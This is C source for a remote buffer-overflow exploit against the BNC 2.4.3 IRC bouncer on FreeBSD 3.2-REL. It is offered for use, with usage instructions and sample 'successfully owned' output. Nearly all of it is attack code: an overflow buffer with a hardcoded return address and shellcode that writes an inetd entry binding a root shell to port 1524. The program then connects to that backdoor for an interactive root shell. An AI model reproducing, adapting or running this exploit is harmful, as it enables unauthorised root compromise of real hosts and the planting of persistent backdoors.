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- /*
- * BNC 2.4.3 exploit for FreeBSD 3.2-REL
- * This version of BNC is shipped in the FBSD 3.2-REL ports collection.
- *
- * $ ./fbsd-bnc echelon 6669
- * [...]
- * Host `192.168.2.34` successfully owned.
- * sh: can't access tty; job control turned off
- * #
- *
- * This is *not* the same exploit as in 2.2.* versions of BNC (contrary
- * to what some outspoken individuals appear to think).
- *
- * Thanks to gov-boi for beta-testing the linux version of this exploit.
- *
- * - anathema <anathema@hack.co.za>
- *
- * Usage: ./fbsd-bnc dst_host|ip [src_prt] dst_prt
- * eg: ./fbsd-bnc echelon 6669 - dest port of 6669
- * eg: ./fbsd-bnc echelon 242 1024 - src port of 242, dest port of 1024
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/time.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
-
- #define ADDR 0x804dd70 /* BNC 2.4.3 : FBSD 3.2-REL */
- #define BUFLEN 1019
- #define PREPEND_LEN 193
- #define DELAY 5
-
- char c0de[] =
- "\xeb\x3d\x9a\x24\x24\x24\x24\x07\x24\xc3\x5e\x29\xc0\x89\x46\xbf\x88\x46\xc4"
- "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56\x8d\x5e\x10"
- "\x89\x1e\x53\x8d\x5e\x18\x89\x5e\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xc6"
- "\xff\xff\xff\xff\xff\xff\xe8\xc6\xff\xff\xff\x01\x01\x01\x01\x02\x02\x02\x02"
- "\x03\x03\x03\x03\x04\x04\x04\x04"
- "\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20"
- "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/x;"
- "/usr/sbin/inetd /tmp/x; /bin/rm -f /tmp/x";
-
- u_long
- resolve_host(u_char *host)
- {
- struct in_addr addr;
- struct hostent *host_ent;
-
- if ((addr.s_addr = inet_addr(host)) == -1)
- {
- host_ent = gethostbyname(host);
- if (!host_ent) return((u_long)0);
- memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
- }
-
- return (addr.s_addr);
- }
-
- void
- shellz(u_long dst_ip)
- {
- struct sockaddr_in sin;
- u_char sock_buf[8192];
- fd_set fds;
- int sock;
-
- sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sock == -1)
- {
- perror("socket allocation");
- exit(-1);
- }
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(1524); /* ingreslock */
- sin.sin_addr.s_addr = dst_ip;
-
- if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
- {
- perror("connecting to backdoor");
- exit(-1);
- }
-
- fprintf(stderr, "\nHost `%s` successfully owned.\n",
- inet_ntoa(sin.sin_addr));
- for (;;)
- {
- FD_ZERO(&fds);
- FD_SET(0, &fds);
- FD_SET(sock, &fds);
-
- select(255, &fds, NULL, NULL, NULL);
- memset(sock_buf, 0, sizeof(sock_buf));
-
- if (FD_ISSET(sock, &fds))
- {
- read(sock, sock_buf, sizeof(sock_buf));
- fprintf(stderr, "%s", sock_buf);
- }
-
- if (FD_ISSET(0, &fds))
- {
- read(0, sock_buf, sizeof(sock_buf));
- write(sock, sock_buf, strlen(sock_buf));
- }
- }
-
- /* NOTREACHED */
- }
-
- int
- overflow_buf(u_char *buf, int buf_len)
- {
- u_long addr = ADDR;
- int i = 0, j = 0;
-
- for (i = 0; i < PREPEND_LEN;)
- {
- /* Initial JMP opcodes to be prepended */
- buf[i++] = 0xeb;
- buf[i++] = 0x20;
- }
-
- buf[i++] = 0xeb;
- buf[i++] = 0xeb;
- buf[i++] = 0x40;
- buf[i++] = 0x20;
-
- j = i;
- for (; i < (j + 8);)
- {
- /* Second JMP set */
- buf[i++] = 0xeb;
- buf[i++] = 0x20;
- }
-
- /* FreeBSD 3.2-REL: 0x804dd70 */
- buf[i++] = (addr & 0x000000ff);
- buf[i++] = (addr & 0x0000ff00) >> 8;
- buf[i++] = (addr & 0x00ff0000) >> 16;
- buf[i++] = (addr & 0xff000000) >> 24;
-
- memset(buf + i, 0x90, BUFLEN - strlen(c0de));
- memcpy(buf + BUFLEN - strlen(c0de), c0de, strlen(c0de));
- memcpy(buf + BUFLEN, "\x00\x90\x20", 3);
-
- return(i + BUFLEN + 3);
- }
-
- void
- exploit(u_long dst_ip, u_short src_prt, u_short dst_prt)
- {
- struct sockaddr_in sin;
- u_char buf[8192] = {0};
- int sock, len = 0;
-
- sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sock == -1)
- {
- perror("socket allocation");
- exit(-1);
- }
-
- if (src_prt)
- {
- struct sockaddr_in min;
- int one = 1, *o_pt = &one;
-
- if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_pt, sizeof(one)) == -1)
- {
- perror("setsockopt SO_REUSEADDR");
- exit(-1);
- }
-
- min.sin_family = AF_INET;
- min.sin_port = htons(src_prt);
- min.sin_addr.s_addr = INADDR_ANY;
-
- if (bind(sock, (struct sockaddr *)&min, sizeof(min)) == -1)
- {
- perror("bind");
- exit(-1);
- }
- }
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(dst_prt);
- sin.sin_addr.s_addr = dst_ip;
-
- if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
- {
- perror("connecting to bnc daemon");
- exit(-1);
- }
-
- len = overflow_buf(buf, sizeof(buf));
-
- if (write(sock, buf, len) != len)
- {
- fprintf(stderr, "err: truncated write()\n");
- exit(-1);
- }
-
- sleep(DELAY);
-
- shellz(dst_ip);
- /* NOTREACHED */
- }
-
- void
- usage(u_char *nomenclature)
- {
- fprintf(stderr, "usage:\t%s dst_host|ip [src_prt] dst_prt\n",
- nomenclature);
- exit(0);
- }
-
- int
- main(int argc, char **argv)
- {
- u_long dst_ip = 0;
- u_short src_prt = 0, dst_prt = 0;
-
- fprintf(stderr, "BNC 2.4.3 exploit for FreeBSD 3.2-RELEASE\n"
- "This version of BNC is shipped in the FBSD 3.2-REL ports collection.\n"
- "\n- anathema <anathema@hack.co.za>\n\n");
-
- if (argc != 3 && argc != 4)
- {
- usage(argv[0]);
- /* NOTREACHED */
- }
-
- dst_ip = resolve_host(argv[1]);
- if (!dst_ip)
- {
- fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
- exit(-1);
- }
-
- if (argc == 3)
- {
- dst_prt = (u_short)atoi(argv[2]);
- }
-
- if (argc == 4)
- {
- src_prt = (u_short)atoi(argv[2]);
- dst_prt = (u_short)atoi(argv[3]);
- }
-
- exploit(dst_ip, src_prt, dst_prt);
- /* NOTREACHED */
- }
-
-